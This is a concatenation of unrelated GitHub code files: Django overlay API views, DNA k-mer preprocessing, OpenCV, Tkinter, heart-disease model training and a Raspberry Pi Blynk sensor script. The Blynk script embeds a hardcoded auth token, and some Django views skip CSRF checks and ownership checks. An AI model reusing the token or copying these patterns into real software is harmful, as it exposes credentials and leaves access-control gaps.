1\n\n kmers[i, 1] = 1 # fake label\n # kmers[i, 2] = labels[i]\n kmers[i, 2] = ''\n for j in range(len(labels[0])):\n kmers[i, 2] += str(labels[i-1, j]) # real label\n kmers[i, 2] += ' '\n # print(num_kmers)\n return kmers\n\n## MIGHT NEED TO CHANGE THESE\ntrain_file = './deepsea_train/train.mat'\ntest_file = './deepsea_train/test.mat'\n\ntrain_inputs, train_labels, test_inputs, test_labels = load_files(train_file, test_file)\n\n\ndna_dict = {\n 0: \"A\",\n 1: \"C\",\n 2: \"T\",\n 3: \"G\"\n}\n\nk = 3\nprint(\"k = 3\")\n\nks = [4,5,6]\n\nfor k in ks:\n num_subset = 1\n \n if numOfData > 100000:\n num_subset = numOfData//100000\n print(\"starting training {}-mers\".format(k))\n\n print(\"starting testing {}-mers\".format(k))\n test_kmers = get_kmers(test_inputs, test_labels, dna_dict, k)\n if not os.path.exists('./DNABert/examples/DeepSea_data/{}_val{}/test'.format(str(k),str(val))):\n os.makedirs('./DNABert/examples/DeepSea_data/{}_val{}/test'.format(str(k),str(val)))\n np.savetxt('./DNABert/examples/DeepSea_data/{}_val{}/test/dev.tsv'.format(str(k),str(val)), test_kmers, fmt='%s', delimiter='\\t')\n \n for i in range(int(num_subset)):\n train_file_path = './DNABert/examples/DeepSea_data/{}_val{}/{}_val{}_{}'.format(str(k),str(val),str(k),str(val),str(i))\n if not os.path.exists(train_file_path):\n os.makedirs(train_file_path)\n print(\"train step, \",i)\n start = i*100000\n end = (i+1)*100000\n train_kmers = get_kmers(train_inputs[start:end], train_labels[start:end], dna_dict, k)\n np.savetxt(\"{}/train.tsv\".format(train_file_path), train_kmers, fmt='%s', delimiter='\\t')\n\n \n ","repo_name":"shubhang8/DeepSSL","sub_path":"Multi_test_data.py","file_name":"Multi_test_data.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38458029337","text":"import json\n\nfrom django.conf import settings\nfrom django.db import connection\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.decorators.http import require_GET, require_POST\n\nfrom ghostz_cdl.decorators import (add_cors_react_dev, validate_pusher_user,\n validate_user)\nfrom lib import pusher\nfrom overlay.models import Background, BDOClass, Character, Overlay, Team, User, OverlayType, OverlayReference\n\n\n# Create your views here.\n@add_cors_react_dev\n@require_GET\n@validate_user\ndef get_overlay(request, user):\n\n overlay_objects = Overlay.objects.filter(user=user).all().order_by('id')\n\n data = [{\n 'id': overlay.id,\n 'date': overlay.date,\n 'hour': overlay.hour,\n 'modality': overlay.modality,\n 'active': overlay.active,\n 'team': [{\n 'id': team.id,\n 'name': team.name,\n 'twitch': team.twitch,\n 'mmr': team.mmr,\n 'mmr_as': team.mmr_as,\n 'characteres': [{\n 'id': character.id,\n 'family': character.family,\n 'name': character.name,\n 'bdo_class': character.bdo_class,\n 'combat_style': character.combat_style,\n 'matches': character.matches,\n 'defeats': character.defeats,\n 'victories': character.victories,\n 'champion': character.champion,\n 'dr': character.dr,\n 'by': character.by,\n 'walkover': character.walkover\n } for character in team.character_set.all().order_by('id')]\n } for team in overlay.team_set.all().order_by('id')]\n } for overlay in overlay_objects]\n\n return JsonResponse({'data': data})\n\n\n@add_cors_react_dev\n@require_GET\n@validate_pusher_user\ndef get_active_overlay(request, user):\n overlay_object = Overlay.objects.filter(active=True, user=user).first()\n if overlay_object is None:\n overlay_object = Overlay.objects.filter(user=user).first()\n\n if overlay_object is None:\n return JsonResponse({'msg': 'Overlay not found.'}, status=404)\n\n return JsonResponse({'data': mount_overlay_active(overlay_object.id)})\n\n\ndef mount_overlay_active(id):\n\n query_active_overlay = \"\"\"\n select\n oo.id as id,\n oo.modality as modality,\n oo.league as league,\n ob2.image as background_image,\n ot.name as overlay_type\n from\n overlay_overlay oo\n left join overlay_background ob2\n on\n ob2.type_id = oo.type_id\n left join overlay_overlaytype ot\n on\n ot.id = oo.type_id\n where\n 1 = 1\n and oo.id = %(id)s\n \"\"\"\n\n with connection.cursor() as cursor:\n cursor.execute(query_active_overlay, {\n 'id': id\n })\n overlay = cursor.fetchone()\n\n filters_teams = {\n 'overlay_id': overlay[0]\n }\n\n query_overlay_teams = \"\"\"\n select\n ot.id as id,\n ot.\"name\" as team_name,\n ot.twitch as team_twitch,\n ot.mmr as team_mmr,\n ot.mmr_as as team_mmr_as\n from\n overlay_team ot\n where\n 1 = 1\n and ot.overlay_id = %(overlay_id)s\n ORDER BY ot.id ASC\n \"\"\"\n\n with connection.cursor() as cursor:\n cursor.execute(query_overlay_teams, filters_teams)\n teams = cursor.fetchall()\n\n team_list = []\n\n query_overlay_players = \"\"\"\n select\n oc.id as id,\n oc.\"family\" as player_family,\n oc.\"name\" as player_name,\n oc.bdo_class as player_class,\n oc.combat_style as player_style,\n oc.matches as player_matches,\n oc.defeats as player_defeats,\n oc.victories as player_victories,\n oc.champion as player_champion,\n oc.dr as player_dr,\n oc.by as player_by,\n oc.walkover as player_walkover,\n coalesce (ou2.video,\n ou.video,\n ob.video_awakening) as video_awakening,\n coalesce (ou2.video,\n ou.video,\n ob.video_sucession) as video_sucession\n from\n overlay_character oc\n inner join overlay_bdoclass ob\n on\n ob.json_name = oc.bdo_class\n left join overlay_user ou\n on\n ou.\"family\" = oc.\"family\"\n and ou.video <> ''\n left join overlay_uservideo ou2\n on\n ou2.user_id = ou.id\n and ou2.bdo_class_id = ob.id\n where\n 1 = 1\n and oc.team_id = %(team_id)s\n ORDER BY oc.id ASC\n \"\"\"\n for team in teams:\n\n filters_player = {\n 'team_id': team[0]\n }\n\n with connection.cursor() as cursor:\n cursor.execute(query_overlay_players, filters_player)\n players = cursor.fetchall()\n\n players_list = []\n\n for player in players:\n player_data = {\n 'id': player[0],\n 'family': player[1],\n 'name': player[2],\n 'bdo_class': player[3],\n 'combat_style': player[4],\n 'matches': player[5],\n 'defeats': player[6],\n 'victories': player[7],\n 'champion': player[8],\n 'dr': player[9],\n 'by': player[10],\n 'walkover': player[11],\n 'media': {\n 'images': [],\n 'video_awakening': settings.BASE_URL + settings.MEDIA_URL + player[12],\n 'video_sucession': settings.BASE_URL + settings.MEDIA_URL + player[13]\n }\n }\n\n class_videos_list = []\n filters_class_videos = {\n 'player_class': player[3],\n 'awakening': True if player[4] == 'Despertar' else False\n }\n\n query_class_videos = \"\"\"\n select\n image\n from\n overlay_imagebdoclass oi\n inner join overlay_bdoclass ob\n on\n ob.json_name = %(player_class)s\n where\n 1 = 1\n and oi.bdo_class_id = ob.id\n and oi.awakening = %(awakening)s\n \"\"\"\n with connection.cursor() as cursor:\n cursor.execute(query_class_videos, filters_class_videos)\n class_videos = cursor.fetchall()\n for class_video in class_videos:\n class_videos_list.append({\n 'url': settings.BASE_URL + settings.MEDIA_URL + class_video[0]\n })\n player_data['media']['images'] = class_videos_list\n\n players_list.append(player_data)\n\n team_list.append({\n 'id': team[0],\n 'name': team[1],\n 'twitch': team[2],\n 'mmr': team[3],\n 'mmr_as': team[4],\n 'victory': 0,\n 'characteres': players_list\n })\n\n if overlay[4] is None:\n overlay_default = OverlayType.objects.filter(default=True).first()\n overlay_name = overlay_default.name\n else:\n overlay_name = overlay[4]\n\n overlay_data = {\n 'id': overlay[0],\n 'modality': overlay[1],\n 'league': overlay[2],\n 'background': settings.BASE_URL + settings.MEDIA_URL + overlay[3] if overlay[3] else '',\n 'type': overlay_name,\n 'team': team_list\n }\n\n return overlay_data\n\n\n@csrf_exempt\n@add_cors_react_dev\n@validate_user\n@require_POST\ndef update_overlay_active(request, id, user):\n\n overlay = Overlay.objects.filter(id=id, user=user).first()\n if overlay is None:\n return JsonResponse({'status': 'Overlay não encontrado'}, status=404)\n overlay.active = True\n\n overlay.save()\n\n overlay_active = Overlay.objects.filter(active=True, user=user).exclude(id=id).all()\n if overlay_active.__len__() > 0:\n for overlay in overlay_active:\n overlay.active = False\n overlay.save()\n\n pusher.send_active_overlay(id)\n return JsonResponse({'status': 'Overlay atualizado com sucesso!'})\n\n\n@csrf_exempt\n@add_cors_react_dev\n@validate_user\n@require_POST\ndef import_json(request, user):\n req = json.loads(request.body) if request.body else {}\n\n if req.get('reset') is True:\n Overlay.objects.filter(user=user).all().delete()\n\n if req.get('data') is None:\n return JsonResponse({'status': 'Nao existe dada para ser importado!'}, status=400)\n\n data = json.loads(req.get('data')) if req.get('data') else []\n\n for overlay_data in data:\n\n overlay_reference = OverlayReference.objects.filter(reference=overlay_data['Modalidade']).first()\n\n if overlay_reference is None:\n overlay_type = OverlayType.objects.filter(default=True).first()\n else:\n overlay_type = overlay_reference.overlay\n\n overlay = Overlay(\n date=overlay_data['Data'],\n hour=overlay_data['Horario'],\n modality=overlay_data['Modalidade'],\n league=overlay_data['LIGA'] if overlay_data.get('LIGA') else 'LIVERTO',\n type=overlay_type,\n user=user\n )\n overlay.save()\n\n for i in range(2):\n team_index = i + 1\n\n team = Team(\n overlay=overlay,\n name=overlay_data['Time{}'.format(team_index)],\n twitch=overlay_data['Twitch{}'.format(team_index)],\n mmr=overlay_data['MMR{}'.format(team_index)] if overlay_data.get(\n 'MMR{}'.format(team_index)) else '',\n mmr_as=overlay_data['MMR{}_AS'.format(team_index)] if overlay_data.get(\n 'MMR{}_AS'.format(team_index)) else ''\n )\n team.save()\n for c in range(3):\n\n character_index = (i * 3) + (c + 1)\n\n if overlay_data['Fam{}'.format(character_index)] == '':\n continue\n\n character = Character(\n team=team,\n family=overlay_data['Fam{}'.format(character_index)],\n name=overlay_data['Char{}'.format(character_index)],\n bdo_class=overlay_data['Classe{}'.format(character_index)],\n combat_style=overlay_data['Arma{}'.format(\n character_index)],\n matches=overlay_data['PA{}'.format(character_index)],\n defeats=overlay_data['DE{}'.format(character_index)],\n victories=overlay_data['VI{}'.format(character_index)],\n champion=overlay_data['CA{}'.format(character_index)],\n dr=overlay_data['DR{}'.format(character_index)],\n by=overlay_data['BY{}'.format(character_index)],\n walkover=overlay_data['WO{}'.format(character_index)]\n )\n character.save()\n\n user_overlay = User.objects.filter(family=character.family).first()\n if user_overlay is None:\n user_overlay = User(\n family=character.family\n )\n user_overlay.save()\n\n return JsonResponse({'status': 'JSON importado com sucesso!'})\n\n\n@csrf_exempt\n@add_cors_react_dev\n@validate_user\n@require_POST\ndef reload_overlay(request, user):\n\n overlay = Overlay.objects.filter(active=True, user=user).first()\n\n if overlay is None:\n return JsonResponse({'status': 'Não existe overlay ativo!'}, status=400)\n\n background = Background.objects.filter(type=overlay.type).first()\n\n def BDOClassImages(bdo_class):\n bdo_class_object = BDOClass.objects.filter(json_name=bdo_class).first()\n if bdo_class_object is None:\n return {\n 'video_awakening': '',\n 'video_sucession': '',\n 'images': []\n }\n data = {\n 'video_awakening': settings.BASE_URL + bdo_class_object.video_awakening.url,\n 'video_sucession': settings.BASE_URL + bdo_class_object.video_sucession.url,\n 'images': [{\n 'url': settings.BASE_URL + bdo_image.image.url,\n 'awakening': bdo_image.awakening\n } for bdo_image in bdo_class_object.images.all()]\n }\n return data\n\n def userCustomVideo(family):\n user = User.objects.filter(family=family).first()\n if user is None or not user.video:\n return {\n 'video': ''\n }\n return {\n 'video': settings.BASE_URL + user.video.url\n }\n\n data = {\n 'id': overlay.id,\n 'date': overlay.date,\n 'hour': overlay.hour,\n 'modality': overlay.modality,\n 'league': overlay.league,\n 'background': settings.BASE_URL + background.image.url if background else '',\n 'active': overlay.active,\n 'team': [{\n 'id': team.id,\n 'name': team.name,\n 'twitch': team.twitch,\n 'mmr': team.mmr,\n 'mmr_as': team.mmr_as,\n 'characteres': [{\n 'id': character.id,\n 'family': character.family,\n 'name': character.name,\n 'bdo_class': character.bdo_class,\n 'combat_style': character.combat_style,\n 'matches': character.matches,\n 'defeats': character.defeats,\n 'victories': character.victories,\n 'champion': character.champion,\n 'dr': character.dr,\n 'by': character.by,\n 'walkover': character.walkover,\n 'media': BDOClassImages(character.bdo_class),\n 'custom': userCustomVideo(character.family)\n } for character in team.character_set.all().order_by('id')]\n } for team in overlay.team_set.all().order_by('id')]\n }\n\n pusher.send_active_overlay(data)\n\n return JsonResponse({'status': 'Overlay atualizado com sucesso!'})\n\n\n@add_cors_react_dev\n@require_GET\n@validate_user\ndef get_class_view(request, user):\n bdo_class = BDOClass.objects.all().order_by('name')\n\n data = [{\n 'id': data.id,\n 'name': data.json_name\n } for data in bdo_class]\n\n return JsonResponse({'data': data})\n\n\n@csrf_exempt\n@add_cors_react_dev\n@validate_user\n@require_POST\ndef update_team(request, user):\n req = json.loads(request.body) if request.body else {}\n\n if req is None:\n return JsonResponse({'status': 'Nao existe dados para ser atualizados!'}, status=400)\n\n if req.get('id') is None:\n return JsonResponse({'status': 'Id do time nao informado!'}, status=400)\n\n team = Team.objects.filter(id=req.get('id')).first()\n\n if req.get('name'):\n team.name = req.get('name')\n if req.get('twitch'):\n team.twitch = req.get('twitch')\n\n team.save()\n\n for character_data in req.get('characteres'):\n character = Character.objects.filter(id=character_data.get('id')).first()\n character.family = character_data.get('family')\n character.name = character_data.get('name')\n character.bdo_class = character_data.get('bdo_class')\n character.combat_style = character_data.get('combat_style')\n character.save()\n\n return JsonResponse({'status': 'Time atualizado com sucesso!'})\n\n\n@add_cors_react_dev\n@require_GET\n@validate_user\ndef get_overlay_types(request, user):\n overlay_types = OverlayType.objects.all().order_by('name')\n\n data = [{\n 'id': overlay_type.id,\n 'name': overlay_type.name\n } for overlay_type in overlay_types]\n\n return JsonResponse({'data': data})\n\n\n@csrf_exempt\n@add_cors_react_dev\n@validate_user\n@require_POST\ndef update_overlay_type(request, user):\n req = json.loads(request.body)\n overlay_type = OverlayType.objects.filter(id=req).first()\n pusher.send_overlay_type(overlay_type.name)\n\n return JsonResponse({'status': 'Overlay atualizado com sucesso!'})\n","repo_name":"ghpm99/ghostz_cdl","sub_path":"overlay/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22823972510","text":"import cv2\nimport numpy as np\n\nimage=cv2.imread('/home/avesta/Desktop/CalismaDizini/maze.jpg')\ngray=cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)\n\n\n#cv2.imshow('gray',gray)\n#cv2.waitKey(0)\n\nthn=cv2.ximgproc.thinning(gray,None,cv2.ximgproc.THINNING_ZHANGSUEN)\n\ncv2.imshow('thn',thn)\ncv2.waitKey(0)\n\ni=0\nwhile i<242:\n j=0\n while j<242:\n if thn[i,j]==255:\n image[i,j,2]=255\n image[i, j,1]=0\n image[i, j,0]=0\n j=j+1\n i=i+1\n\n\n#cv2.imwrite('ima.png',image)\n\ncv2.imshow('son',image)\ncv2.waitKey(0)\n\n","repo_name":"harunsaybak/open_cv_workspace","sub_path":"StitchAndCornerDetection_safari/thngg.py","file_name":"thngg.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25926806733","text":"# used to plot runtime graph\r\n# pip install matplotlib\r\nimport matplotlib.pyplot as plot\r\nimport random\r\nimport time\r\nimport numpy as np\r\nfrom driver import Aquarium, Skyscraper\r\n\r\n\r\ndef timer(f, file):\r\n\tstart = time.time()\r\n\tf(file)\r\n\treturn time.time() - start\r\n\r\n\r\nx = [6, 15, 20, 25, 30]\r\ny = [0, 0, 0, 0, 0]\r\n\r\n# x = [4, 5, 6, 7]\r\n# y = [0, 0, 0, 0]\r\n\r\n\r\nfor j in range(100):\r\n\ty[0] += timer(Aquarium, \"ExtraTests/A3.txt\")\r\n\r\nfor j in range(100):\r\n\ty[1] += timer(Aquarium, \"ExtraTests/ICLP2.txt\")\r\n\r\nfor j in range(100):\r\n\ty[2] += timer(Aquarium, \"ExtraTests/ICLP3.txt\")\r\n\r\nfor j in range(100):\r\n\ty[3] += timer(Aquarium, \"ExtraTests/ICLP4.txt\")\r\n\r\nfor j in range(100):\r\n\ty[4] += timer(Aquarium, \"ExtraTests/ICLP5.txt\")\r\n\r\ny = [j/100 for j in y]\r\n\r\nprint(x)\r\nprint(y)\r\n\r\nplot.plot(x, y, label = \"Aquarium\")\r\nplot.legend()\r\nplot.show()\r\n","repo_name":"CharlesW1/iclp2020","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4936217556","text":"from tkinter import *\nfrom loginManager import *\nfrom bankManager import *\nimport loginPage\nimport chartPage\n\ndef endpage():\n window.destroy()\n chartPage.show(user_info)\n\ndef show(_user_info):\n global user_info\n user_info = _user_info\n\n bm = BankManager(user_info)\n \n global window\n inputs={}\n window = Tk()\n window.title(\"my page\")\n window.geometry('275x240')\n frame = LabelFrame(window, text='내 정보', padx=5)\n frame.pack(padx=0, pady=10)\n\n inputs[\"id\"] = StringVar()\n inputs[\"name\"] = StringVar()\n inputs[\"birthday\"] = StringVar()\n inputs[\"num\"] = StringVar()\n inputs[\"money\"] = StringVar()\n\n inputs[\"id\"].set(user_info.ID)\n inputs[\"name\"].set(user_info.name)\n inputs[\"birthday\"].set(user_info.birthday)\n inputs[\"num\"].set(user_info.number)\n inputs[\"money\"].set(bm.getMoney())\n \n input_frame = Frame(frame, padx=5, pady=5)\n input_frame.grid(row=0, column=0)\n button_frame = Frame(frame, padx=5, pady=5)\n button_frame.grid(row=1, column=0)\n \n myid_label = Label(input_frame, text='ID : ')\n myid_entry = Label(input_frame, textvariable = inputs[\"id\"])\n myname_label = Label(input_frame, text='이름 : ')\n myname_entry = Entry(input_frame, textvariable = inputs[\"name\"])\n mybirthday_label = Label(input_frame, text='생년월일 : ')\n mybirthday_entry = Entry(input_frame, textvariable = inputs[\"birthday\"])\n mynum_label = Label(input_frame, text='전화번호 : ')\n mynum_entry = Entry(input_frame, textvariable = inputs[\"num\"])\n mymoney_label = Label(input_frame, text='보유원화 : ')\n mymoney_entry = Entry(input_frame, textvariable = inputs[\"money\"])\n \n endpage_button = Button(button_frame, text=\"닫기\", command=endpage)\n \n myid_label.grid(row=0,column=0, padx=5, pady=5)\n myid_entry.grid(row=0,column=1, padx=5, pady=5)\n myname_label.grid(row=1,column=0, padx=5, pady=5)\n myname_entry.grid(row=1,column=1, padx=5, pady=5)\n mybirthday_label.grid(row=2,column=0, padx=5, pady=5)\n mybirthday_entry.grid(row=2,column=1, padx=5, pady=5)\n mynum_label.grid(row=3,column=0, padx=5, pady=5)\n mynum_entry.grid(row=3,column=1, padx=5, pady=5)\n mymoney_label.grid(row=4,column=0, padx=5, pady=5)\n mymoney_entry.grid(row=4,column=1, padx=5, pady=5)\n \n endpage_button.grid(row=0, column=0,padx=5)\n \n \n\n window.resizable(False, False)\n window.mainloop()\n\n","repo_name":"mywoospam/Stock_simulator","sub_path":"myPage.py","file_name":"myPage.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15334132974","text":"import time\r\nimport board\r\nimport adafruit_dht\r\nimport RPi.GPIO as GPIO\r\nimport BlynkLib\r\n\r\nBLYNK_TEMPLATE_ID = \"TMPLjUtArN1v\"\r\nBLYNK_DEVICE_NAME = \"IVP\"\r\nBLYNK_AUTH = \"icLeCEHrb5DNB_uqb7OEsOqVBcZvtUY5\"\r\n\r\ndhtDevice = adafruit_dht.DHT11(board.D4)\r\nValve = 21\r\nwater = 17\r\nGPIO.setmode(GPIO.BCM)\r\nGPIO.setup(Valve, GPIO.IN)\r\nGPIO.setup(water, GPIO.OUT)\r\nblynk = BlynkLib.Blynk(BLYNK_AUTH)\r\n\r\nblynk.run()\r\ndef callback(Valve): #วัดความชื้นในดิน\r\n if GPIO.input(Valve):\r\n print (\"Wet\")\r\n GPIO.output(water, GPIO.HIGH)\r\n blynk.virtual_write(0, \"Wet\") #++\r\n else:\r\n print (\"Dry\")\r\n GPIO.output(water, GPIO.LOW)\r\n blynk.virtual_write(0, \"Dry\") #++\r\n\r\n\r\n\r\nwhile True:\r\n try:\r\n temperature_c = dhtDevice.temperature\r\n temperature_f = temperature_c * (9 / 5) + 32\r\n humidity = dhtDevice.humidity\r\n print(\r\n \"Temp: {:.1f} F / {:.1f} C Humidity: {}% \".format(\r\n temperature_f, temperature_c, humidity\r\n )\r\n )\r\n time.sleep(1.5)\r\n GPIO.add_event_detect(Valve, GPIO.BOTH, bouncetime=300) # let us know when the pin goes HIGH or LOW\r\n GPIO.add_event_callback(Valve, callback) # assign function to GPIO PIN, Run function on change\r\n blynk.virtual_write(1, temperature_c) \r\n blynk.virtual_write(2, humidity)\r\n \r\n\r\n\r\n except RuntimeError as error:\r\n print(\"Error : {}\".format(error.args[0]))\r\n time.sleep(2.0)\r\n continue\r\n except Exception as error:\r\n print(\"divce error\")\r\n dhtDevice.exit()\r\n raise error\r\n time.sleep(2.0)","repo_name":"Meammi/CodeKathon","sub_path":"MS.py","file_name":"MS.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4067737612","text":"import numpy as np\nfrom cremi.evaluation.rand import adapted_rand\nfrom cremi.evaluation.voi import voi\nfrom cremi.evaluation.border_mask import create_border_mask_2d\n\n\ndef compute_metrics(labels, gt):\n # mask boundary pixels as label 0\n gt += 1 # label zero will be for background and is automatically ignored by adapted rand\n for batch_id in range(gt.shape[0]):\n mask = create_border_mask_2d(gt[batch_id], max_dist=0)\n gt[batch_id][mask] = 0\n\n arand_list = []\n voi_list = []\n for batch_id in range(gt.shape[0]):\n gt_slice = gt[batch_id].ravel()\n lables_slice = labels[batch_id].ravel()\n\n arand_slice = adapted_rand(lables_slice, gt_slice) # ignores ground truth label 0 automatically\n voi_score_slice = np.array(voi(lables_slice, gt_slice, ignore_groundtruth=[0]))\n\n arand_list.append(arand_slice)\n voi_list.append(voi_score_slice)\n\n arand = np.mean(np.array(arand_list), axis=0)\n voi_score = np.mean(np.array(voi_list), axis=0)\n CREMI_score = np.sqrt(voi_score.sum() * arand)\n\n return {\"arand\": arand,\n \"voi\": voi_score,\n \"CREMI_score\": CREMI_score,\n }\n\n\n","repo_name":"ModShift/ModShift","sub_path":"utils/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18239171481","text":"n = int(input())\ncheck_col = [False] * n\ncheck_dig1 = [False] * (2*n - 1)\ncheck_dig2 = [False] * (2*n - 1)\n\n\ndef check(row, col):\n if check_col[col]:\n return False\n if check_dig1[row + col]:\n return False\n if check_dig2[row - col + n - 1]:\n return False\n return True\n\n\ndef nqueen(row):\n ans = 0\n if row == n:\n return 1\n\n for col in range(n):\n if check(row, col):\n check_col[col] = True\n check_dig1[row + col] = True\n check_dig2[row - col + n - 1] = True\n ans += nqueen(row + 1)\n check_col[col] = False\n check_dig1[row + col] = False\n check_dig2[row - col + n - 1] = False\n\n return ans\n\n\nprint(nqueen(0))\n","repo_name":"yeonnseok/ps-algorithm","sub_path":"2019 baekjoon/BruteForce/Recursion/9663_nqueen.py","file_name":"9663_nqueen.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"38651373085","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Heart Disease Risk Analysis Data - Data Processing\n\n# ### Process the data\n# \n# - Load the data/2020/heart_2020_processed.csv\n# - Process the features\n# - Set the categorical features names\n# - Set the numeric features names \n# - Set the target variable\n# - Split the data\n# - train/validation/test split with 60%/20%/20% distribution.\n# - Random_state 42\n# - Use strategy = y to deal with the class imbalanced problem\n# - Train the model\n# - LogisticRegression\n# - RandomForestClassifier\n# - XGBClassifier\n# - DecisionTreeClassifier\n# - Evaluate the models and compare them\n# - accuracy_score\n# - precision_score\n# - recall_score\n# - f1_score\n# - Confusion Matrix\n# \n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pickle\n\n# Initialize the HeartDiseaseFactory and HeartDiseaseTrainData class\nfrom heart_disease_model_factory import HeartDiseaseTrainData, HeartDiseaseModelFactory\n\n\n# open the csv file and read it into a pandas dataframe to understand the data\ndf_source = pd.read_csv('./data/2020/heart_2020_processed.csv', sep=',', quotechar='\"')\n\n# save the original set of data\ndf = df_source.copy()\n\ndf.head()\n\n\n# Process the features\n\n# set the target feature\ntarget = 'heartdisease'\n\ntrain_data = HeartDiseaseTrainData(df, target)\ncat_features, num_features = train_data.process_features()\n\n# split the data in train/val/test sets\n# use 60%/20%/20% distribution with seed 1\n# use stratified sampling to ensure the distribution of the target feature is the same in all sets\nX_train, X_val, y_train, y_val, X_test, y_test = train_data.split_data(test_size=0.2, random_state=42)\n\nprint(X_val.head())\n\n\n# hot encode the categorical features for the train data\nmodel_factory = HeartDiseaseModelFactory(cat_features, num_features)\nX_train_std = model_factory.preprocess_data(X_train[cat_features + num_features], True)\n\n# hot encode the categorical features for the validation data\nX_val_std = model_factory.preprocess_data(X_val[cat_features + num_features], False)\n\n\n# Train the model\nmodel_factory.train(X_train_std, y_train)\n\n\n# Evaluate the model\ndf_metrics = model_factory.evaluate(X_val_std, y_val)\ndf_metrics.head()\n\n\ndf_metrics[['model','accuracy', 'precision', 'recall', 'f1']].head()\n\n\n# plot df_metrics with the model name on the y-axis and metrics on the x-axis for all models and all metrics\n# Sort the DataFrame by a metric (e.g., accuracy) to display the best-performing models at the top\ndf_metrics.sort_values(by='accuracy', ascending=False, inplace=True)\n# Define the models, metrics, and corresponding scores\nmodels = df_metrics['model']\nmetrics =['accuracy', 'precision', 'recall', 'f1']\nscores = df_metrics[['accuracy', 'precision', 'recall', 'f1']]\n\n# Set the positions for the models\nmodel_positions = np.arange(len(models))\n\n# Define the width of each bar group\nbar_width = 0.15\n\n# Create a grouped bar chart\nplt.figure(figsize=(10, 6))\n\nfor i, metric in enumerate(metrics):\n plt.barh(model_positions + i * bar_width, scores[metric.lower()], bar_width, label=metric)\n\n # Add score labels over the bars\n for index, row in df_metrics.iterrows():\n score = row[metric.lower()]\n plt.text(score, index, f'{score:.3f}', va='top', ha='center', fontsize=9)\n\n# Customize the chart\nplt.yticks(model_positions, models)\nplt.xlabel('Score')\nplt.ylabel('ML Models')\nplt.title('Model Comparison for Heart Disease Prediction')\nplt.legend(loc='upper right')\n\nplt.savefig('./images/ozkary-ml-heart-disease-model-evaluation.png')\n# Display the chart\n# plt.show()\n\n\n\n# ## Confusion Matrix Analysis\n\n\nfrom sklearn.metrics import confusion_matrix\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\ncms = []\nmodel_names = []\ntotal_samples = []\n\nfor model_name in df_metrics['model']:\n model_y_pred = df_metrics[df_metrics['model'] == model_name]['y_pred'].iloc[0]\n\n # Compute the confusion matrix\n cm = confusion_matrix(y_val, model_y_pred) \n cms.append(cm)\n model_names.append(model_name)\n total_samples.append(np.sum(cm)) \n\n# Create a 2x2 grid of subplots\nfig, axes = plt.subplots(2, 2, figsize=(10, 10))\n\n# Loop through the subplots and plot the confusion matrices\nfor i, ax in enumerate(axes.flat):\n cm = cms[i] \n im = ax.imshow(cm, interpolation='nearest', cmap=plt.cm.Blues)\n ax.figure.colorbar(im, ax=ax, shrink=0.6)\n \n # Set labels, title, and value in the center of the heatmap\n ax.set(xticks=np.arange(cm.shape[1]), yticks=np.arange(cm.shape[0]), \n xticklabels=[\"No Heart Disease\", \"Heart Disease\"], yticklabels=[\"No Heart Disease\", \"Heart Disease\"],\n title=f'{model_names[i]} (n={total_samples[i]})\\n')\n\n # Loop to annotate each quadrant with its count\n for i in range(cm.shape[0]):\n for j in range(cm.shape[1]):\n ax.text(j, i, str(cm[i, j]), ha=\"center\", va=\"center\", color=\"gray\")\n \n ax.title.set_fontsize(12)\n ax.set_xlabel('Predicted', fontsize=10)\n ax.set_ylabel('Actual', fontsize=10)\n ax.xaxis.set_label_position('top')\n\n# Adjust the layout\nplt.tight_layout()\n\nplt.savefig('./images/ozkary-ml-heart-disease-model-confusion-matrix.png')\n# plt.show()\n\n\n# get the metrics grid with total samples for confusion matrix analysis\nscores = df_metrics[['model','accuracy', 'precision', 'recall', 'f1']] \nscores['total'] = total_samples\n\nscores.head()\n\nprint(cms)\n\n\n# ## Save the model\n# \n# - Save the best performing model\n# - Save the encoder\n\n# get the model and the dictionary vectorizer\nmodel = model_factory.models[model_name]\nencoder = model_factory.encoder\n\n# Save the XGBoost model to a file\nxgb_model_filename = './bin/hd_xgboost_model.pkl.bin'\nwith open(xgb_model_filename, 'wb') as model_file:\n pickle.dump(model, model_file)\n\n# Save the DictVectorizer to a file\ndv_filename = './bin/hd_dictvectorizer.pkl.bin'\nwith open(dv_filename, 'wb') as dv_file:\n pickle.dump(encoder, dv_file)\n\n\n","repo_name":"ozkary/machine-learning-engineering","sub_path":"projects/heart-disease-risk/data_train.py","file_name":"data_train.py","file_ext":"py","file_size_in_byte":5980,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"8768491178","text":"import cv2\r\nimport torch\r\nimport skimage.io\r\nimport numpy as np\r\nimport torch.nn as nn\r\nfrom PIL import Image\r\nfrom einops import reduce, rearrange, repeat\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\ndef visualize_predictions(image, pred, seed, scales, dims, vis_folder, im_name, plot_seed=False):\r\n \"\"\"\r\n Visualization of the predicted box and the corresponding seed patch.\r\n \"\"\"\r\n w_featmap, h_featmap = 